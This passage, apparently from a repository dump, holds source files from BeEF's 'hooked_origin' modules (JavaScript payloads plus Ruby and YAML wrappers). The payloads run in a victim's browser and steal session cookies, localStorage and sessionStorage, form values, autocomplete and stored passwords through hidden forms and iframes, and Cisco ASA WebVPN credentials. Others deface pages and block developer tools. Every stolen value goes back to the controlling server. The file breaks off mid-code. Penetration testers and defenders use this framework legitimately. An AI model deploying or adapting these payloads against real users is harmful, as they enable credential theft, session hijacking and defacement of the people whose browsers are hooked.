    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Apache_tomcat_examples_cookie_disclosure < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'request_header_servlet_path', 'ui_label' => \"'Request Header Example' path\", 'value' => '/examples/servlets/servlet/RequestHeaderExample' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['cookies'] = @datastore['cookies']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/cisco_asa_password_disclosure/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - http://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var s = document.createElement(\"script\");\n  s.src = \"/+CSCOE+/common.js\"\n  document.body.appendChild(s);\n  s = document.createElement(\"script\");\n  s.src = \"/+CSCOE+/appstart.js\";\n  document.body.appendChild(s);\n\n  if (typeof getcredentials === \"function\") {\n    setTimeout(function () {\n      let creds = getcredentials();\n      var result = [];\n      result.push({\n        \"username\": rot13(hex_2_ascii(creds.split('/')[0].split('=')[1])),\n        \"password\": rot13(hex_2_ascii(creds.split('/')[1].split('=')[1])),\n        \"secondary_password\": rot13(hex_2_ascii(creds.split('/')[5].split('=')[1]))\n      });\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\" + JSON.stringify(result));\n    }, 3000);\n  } else {\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"failed, most likely due to no auth\");\n  }\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/cisco_asa_password_disclosure/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - http://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Cisco_asa_passwords:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Cisco ASA Plaintext Passwords\"\n            description: \"Recover Username, password, and second password (MFA) used for a Cisco ASA WebVPN session. The hooked origin needs to be the origin authenticated against.\"\n            authors: [\"catatonicprime\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/cisco_asa_password_disclosure/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - http://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Cisco_asa_passwords < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['cisco_asa_passwords'] = @datastore['cisco_asa_passwords']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/clear_console/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  try {\n    beef.debug(\"Clearing console...\");\n    console.clear();\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=cleared console\", beef.are.status_success());\n  } catch(e) {\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=could not clear console\", beef.are.status_error());\n  }\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/clear_console/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        clear_console:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Clear Console\"\n            description: \"This module clears the Chrome developer console buffer.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"C\"]\n                not_working: [\"All\"]\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/clear_console/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Clear_console < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/deface_web_page/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tdocument.body.innerHTML = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>'));\n\tdocument.title = \"<%= @deface_title %>\";\n\tbeef.browser.changeFavicon(\"<%= @deface_favicon %>\");\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Deface Successful\", beef.are.status_success());\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/deface_web_page/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        deface_web_page:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Replace Content (Deface)\"\n            description: \"Overwrite the page, title and shortcut icon on the hooked page.\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/browser/hooked_origin/deface_web_page/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Deface_web_page < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    favicon_uri = \"#{base_host}/ui/media/images/favicon.ico\"\n    [\n      { 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project',\n        'width' => '200px' },\n      { 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width' => '200px' },\n      { 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label' => 'Deface Content', 'type' => 'textarea', 'value' => 'BeEF!', 'width' => '400px',\n        'height' => '100px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/deface_web_page_component/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = $j('<%= @deface_selector %>').each(function() {\n\t\t$j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>')););\n\t}).length;\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Defaced \"+ result +\" elements\", beef.are.status_success());\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/deface_web_page_component/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        deface_web_page_component:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Replace Component (Deface)\"\n            description: \"Overwrite a particular component of the hooked page.\"\n            authors: [\"antisnatchor\", \"xntrik\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/browser/hooked_origin/deface_web_page_component/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Deface_web_page_component < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'deface_selector', 'description' => 'The jQuery Selector to rewrite', 'ui_label' => 'Target Selector (Using jQuery\\'s selector notation)', 'value' => '.headertitle',\n        'width' => '200px' },\n      { 'name' => 'deface_content', 'description' => 'The HTML to replace within the target', 'ui_label' => 'Deface Content', 'value' => 'BeEF was ere', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/disable_developer_tools/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  // Uses this technique by KSpace:\n  // http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-from-console/\n\n  var _eval     = eval,\n      evalError = document.__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR,\n      flag      = false;\n \n  Object.defineProperty( document, \"__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR\", {\n    get : function(){\n      return evalError;\n    },\n    set : function(v){\n       flag = !v;\n       evalError = v;\n    }\n  });\n \n  eval = function() {\n    if ( flag ) {\n      throw \"\";\n    }\n    return _eval.apply( this, arguments );\n  };\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=attempted to disable developer tools\");\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/disable_developer_tools/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        disable_developer_tools:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Disable Developer Tools\"\n            description: \"This module prevents users from executing JavaScript within the Internet Explorer Developer Tools console.\"\n            authors: [\"bcoles\", \"KSpace\"]\n            target:\n                user_notify:\n                    IE:\n                        min_ver: 8\n                        max_ver: 11\n                not_working: [\"All\"]\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/disable_developer_tools/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Disable_developer_tools < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_autocomplete_creds/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  get_form_data = function(form_name) {\n    var f = document.getElementById(form_name);\n    var results = '';\n    for(i=0; i<f.elements.length; i++) {\n      var k = f.elements[i].id;\n      var v = f.elements[i].value;\n      if (v != '') {\n        results += k + '=' + v + '&';\n      }\n    }\n\n    if (results == '') {\n      beef.debug(\"[Get Autocomplete Creds] Found no autocomplete credentials\");\n      return;\n    }\n\n    beef.debug(\"[Get Autocomplete Creds] Found autocomplete data: '\" + results + \"'\");\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success());\n  }\n\n  create_form = function(input_name) {\n    var f = document.createElement(\"form\");\n    f.setAttribute(\"id\",    \"get_autocomplete_\" + input_name + \"_<%= @command_id %>\");\n    f.setAttribute(\"style\", \"position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;\");\n\n    var u_input = document.createElement('input');\n    u_input.setAttribute(\"id\",    input_name);\n    u_input.setAttribute(\"name\",  input_name);\n    u_input.setAttribute(\"style\", \"position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;\");\n    u_input.setAttribute(\"type\",  \"text\");\n    f.appendChild(u_input);\n\n    var p_input = document.createElement('input');\n    p_input.setAttribute(\"id\",    \"password\");\n    p_input.setAttribute(\"name\",  \"password\");\n    p_input.setAttribute(\"style\", \"position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;\");\n    p_input.setAttribute(\"type\",  \"password\");\n    f.appendChild(p_input);\n\n  \tdocument.body.appendChild(f);\n  }\n\n  var inputs = [\n    'user',\n    'uname',\n    'username',\n    'user_name',\n    'login',\n    'loginname',\n    'login_name',\n    'email',\n    'emailaddress',\n    'email_address',\n    'session[username_or_email]',\n    'name'\n  ];\n\n  beef.debug(\"[Get Autocomplete Creds] Creating forms ...\");\n\n  for(i=0; i<inputs.length; i++) {\n    var input_name = inputs[i];\n    create_form(input_name);\n    setTimeout(\"get_form_data('get_autocomplete_\" + input_name + \"_<%= @command_id %>'); document.body.removeChild(document.getElementById('get_autocomplete_\" + input_name + \"_<%= @command_id %>'));\", 2000);\n  }\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_autocomplete_creds/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_autocomplete_creds:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Autocomplete Credentials\"\n            description: \"This module steals saved credentials for the hooked origin.<br/><br/>Tested on Firefox 68 and Chrome 49.<br/><br/>Note: On Firefox, the window must have focus.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\", \"C\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_autocomplete_creds/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_autocomplete_creds < BeEF::Core::Command\n  def self.options\n    []\n  end\n\n  def post_execute\n    content = {}\n    content['results'] = @datastore['results']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_cookie/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\nbeef.execute(function() {\ntry {\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success());\n      beef.debug(\"[Get Cookie] Cookie captured: \"+document.cookie);\n}catch(e){\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error());\n      beef.debug(\"[Get Cookie] Error\");\n}\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_cookie/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_cookie:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Cookie\"\n            description: \"This module will retrieve the session cookie from the current page.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_cookie/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_cookie < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['cookie'] = @datastore['cookie']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_form_values/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar input_values = new Array();\n\n\t// loop through all forms\n\tvar forms = document.forms;\n\tfor (var f=0; f < forms.length; f++) {\n\t\t// store type,name,value for all input fields\n\t\tfor (var i=0; i < forms[f].elements.length; i++) {\n\t\t\tinput_values.push(new Array(forms[f].elements[i].type, forms[f].elements[i].name, forms[f].elements[i].value));\n\t\t}\n\t}\n\n\t// store type,name,value for all input fields outside of form elements\n\tvar inputs = document.getElementsByTagName('input');\n\tfor (var i=0; i < inputs.length; i++) {\n\t\tinput_values.push(new Array(inputs[i].type, inputs[i].name, inputs[i].value))\n\t}\n\n\t// return input field info\n\tif (input_values.length) {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values)));\n\t// return if no input fields were found\n\t} else {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);\n\t}\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_form_values/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_form_values:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Form Values\"\n            description: \"This module retrieves the name, type, and value of all input fields on the page.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_form_values/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_form_values < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_local_storage/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tif ('localStorage' in window && window['localStorage'] !== null) {\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"localStorage=\"+JSON.stringify(window['localStorage']));\n\t} else beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"localStorage=\"+JSON.stringify(\"HTML5 localStorage is null or not supported.\"));\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_local_storage/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_local_storage:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Local Storage\"\n            description: \"Extracts data from the HTML5 localStorage object.\"\n            authors: [\"bcoles\"]\n            target:\n                working:\n                    IE:\n                        min_ver: 8\n                        max_ver: latest\n                    FF:\n                        # It's actually 3.5 but min_ver only supports integers\n                        min_ver: 4\n                        max_ver: latest\n                    O:\n                        min_ver: 11\n                        max_ver: latest\n                    C:\n                        min_ver: 4\n                        max_ver: latest\n                    S:\n                        min_ver: 4\n                        max_ver: latest\n                not_working: [\"ALL\"]\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_local_storage/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_local_storage < BeEF::Core::Command\n  # More info:\n  #   http://dev.w3.org/html5/webstorage/\n  #   http://diveintohtml5.org/storage.html\n  #\n\n  def post_execute\n    content = {}\n    content['localStorage'] = @datastore['localStorage']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_html/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar head = beef.browser.getPageHead();\n\tvar body = beef.browser.getPageBody();\n\tvar mod_data = 'head=' + head + '&body=' + body;\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, mod_data, beef.are.status_success());\n\treturn [beef.are.status_success(), mod_data];\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_html/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_page_html:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Page HTML\"\n            description: \"This module will retrieve the HTML from the current page.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_html/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_page_html < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['head'] = @datastore['head']\n    content['body'] = @datastore['body']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_html_iframe/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\ttry {\n\t\tvar html_head = document.head.innerHTML.toString();\n\t} catch (e) {\n\t\tvar html_head = \"Error: document has no head\";\n\t}\n\ttry {\n\t\tvar html_body = document.body.innerHTML.toString();\n\t} catch (e) {\n\t\tvar html_body = \"Error: document has no body\";\n\t}\n        try {\t\n\t\tvar iframes = document.getElementsByTagName('iframe');\n\t\tfor(var i=0; i<iframes.length; i++){\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'iframe'+i+'='+iframes[i].contentWindow.document.body.innerHTML);\n\t\t}\n\t\tvar iframe_ = \"Info: iframe(s) found\";\n\t} catch (e) {\n\t\tvar iframe_ = \"Error: document has no iframe or policy issue\";\n\t}\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_html_iframe/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_page_html_iframe:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Page and iframe HTML\"\n            description: \"This module will retrieve the HTML from the current page and any iframes (that have the same origin).\"\n            authors: [\"bcoles\", \"kxynos\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_html_iframe/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_page_html_iframe < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['head'] = @datastore['head']\n    content['body'] = @datastore['body']\n    content['iframe_'] = @datastore['iframe_']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_links/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"links=\"+beef.dom.getLinks());\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_links/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_page_links:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Page HREFs\"\n            description: \"This module will retrieve HREFs from the target page.\"\n            authors: [\"vo\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_page_links/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_page_links < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['links'] = @datastore['links']\n\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_session_storage/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tif ('sessionStorage' in window && window['sessionStorage'] !== null) {\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"sessionStorage=\"+JSON.stringify(window['sessionStorage']));\n\t} else beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"sessionStorage=\"+JSON.stringify(\"HTML5 sessionStorage is null or not supported.\"));\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_session_storage/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_session_storage:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Session Storage\"\n            description: \"Extracts data from the HTML5 sessionStorage object.\"\n            authors: [\"bcoles\"]\n            target:\n                working:\n                    IE:\n                        min_ver: 8\n                        max_ver: latest\n                    FF:\n                        # It's actually 3.5 but min_ver only supports integers\n                        min_ver: 4\n                        max_ver: latest\n                    O:\n                        min_ver: 11\n                        max_ver: latest\n                    C:\n                        min_ver: 4\n                        max_ver: latest\n                    S:\n                        min_ver: 4\n                        max_ver: latest\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_session_storage/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_session_storage < BeEF::Core::Command\n  # More info:\n  #   http://dev.w3.org/html5/webstorage/\n  #   http://diveintohtml5.org/storage.html\n  #\n\n  def post_execute\n    content = {}\n    content['sessionStorage'] = @datastore['sessionStorage']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_stored_credentials/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar form_data = new Array();\n\tvar login_url = \"<%= @login_url %>\";\n\tvar internal_counter = 0;\n\tvar timeout = 30;\n\n\t// create iframe\n\tiframe = document.createElement(\"iframe\");\n\tiframe.setAttribute(\"id\",\"credentials_container_<%= @command_id %>\");\n\tiframe.setAttribute(\"src\", login_url);\n\tiframe.setAttribute(\"style\",\"display:none;visibility:hidden;border:none;height:0;width:0;\");\n\tdocument.body.appendChild(iframe);\n\n\t// try to read form data from login page\n\tfunction waituntilok() {\n\n\t\tvar iframe = document.getElementById(\"credentials_container_<%= @command_id %>\");\n\t\ttry {\n\n\t\t\t// check if login page is ready\n\t\t\tif (iframe.contentWindow.document.readyState != \"complete\") {\n\t\t\t\tif (internal_counter > timeout) {\n\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Timeout after '+timeout+' seconds');\n\t\t\t\t\tdocument.body.removeChild(iframe);\n\t\t\t\t} else {\n\t\t\t\t\tinternal_counter++;\n\t\t\t\t\tsetTimeout(function() {waituntilok()},1000);\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// find all forms with a password input field\n\t\t\tfor (var f=0; f < iframe.contentWindow.document.forms.length; f++) {\n\t\t\t\tfor (var e=0; e < iframe.contentWindow.document.forms[f].elements.length; e++) {\n\t\t\t\t\t// return form data if it contains a password input field\n\t\t\t\t\tif (iframe.contentWindow.document.forms[f].elements[e].type == \"password\") {\n\t\t\t\t\t\tfor (var i=0; i < iframe.contentWindow.document.forms[f].elements.length; i++) {\n\t\t\t\t\t\t\tform_data.push(new Array(iframe.contentWindow.document.forms[f].elements[i].type, iframe.contentWindow.document.forms[f].elements[i].name, iframe.contentWindow.document.forms[f].elements[i].value));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// return results\n\t\t\tif (form_data.length) {\n\t\t\t\t// return form data\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data='+JSON.stringify(form_data));\n\t\t\t} else {\n\t\t\t\t// return if no password input fields were found\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not find any password input fields on '+login_url);\n\t\t\t}\n\n\t\t} catch (e) 